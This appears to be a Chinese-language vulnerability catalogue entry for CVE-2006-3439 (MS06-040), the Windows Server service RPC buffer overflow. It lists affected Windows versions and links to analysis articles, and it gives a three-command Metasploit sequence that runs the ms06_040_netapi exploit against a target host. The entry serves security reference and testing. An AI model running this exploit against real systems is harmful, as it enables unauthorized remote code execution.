###  CVE-2006-3439

#### 描述

服务器服务中的缓冲区溢出允许包括匿名用户在内的远程攻击者通过精心制作的RPC消息执行任意代码

#### 影响版本

| Product              | CPU Architecture | Version | Update | Tested             |
| -------------------- | ---------------- | ------- | ------ | ------------------ |
| Windows 2000         |                  |         | SP4    | &#10004; |
| Windows  Server 2003 |                  | R2      |        |                    |
| Windows  Server 2003 |                  |         | SP1    |                    |
| Windows  Server 2003 |                  |         | SP1    |                    |
| Windows  Server 2003 |                  |         |        |                    |
| Windows  Server 2003 |                  |         |        |                    |
| Windows Xp           |                  |         | SP1    |                    |
| Windows Xp           |                  |         | SP2    |                    |

#### 利用方式

msf 利用 测试系统Windows Server 2000 SP4 x86

```
use exploit/windows/smb/ms06_040_netapi
set RHOST 192.168.1.17
run
```

#### 分析文章
- http://www.atomsec.org/%E5%AE%89%E5%85%A8/ms06-040cve-2006-3439%E9%9D%99%E6%80%81%E5%88%86%E6%9E%90/
- https://bbs.pediy.com/thread-266157.htm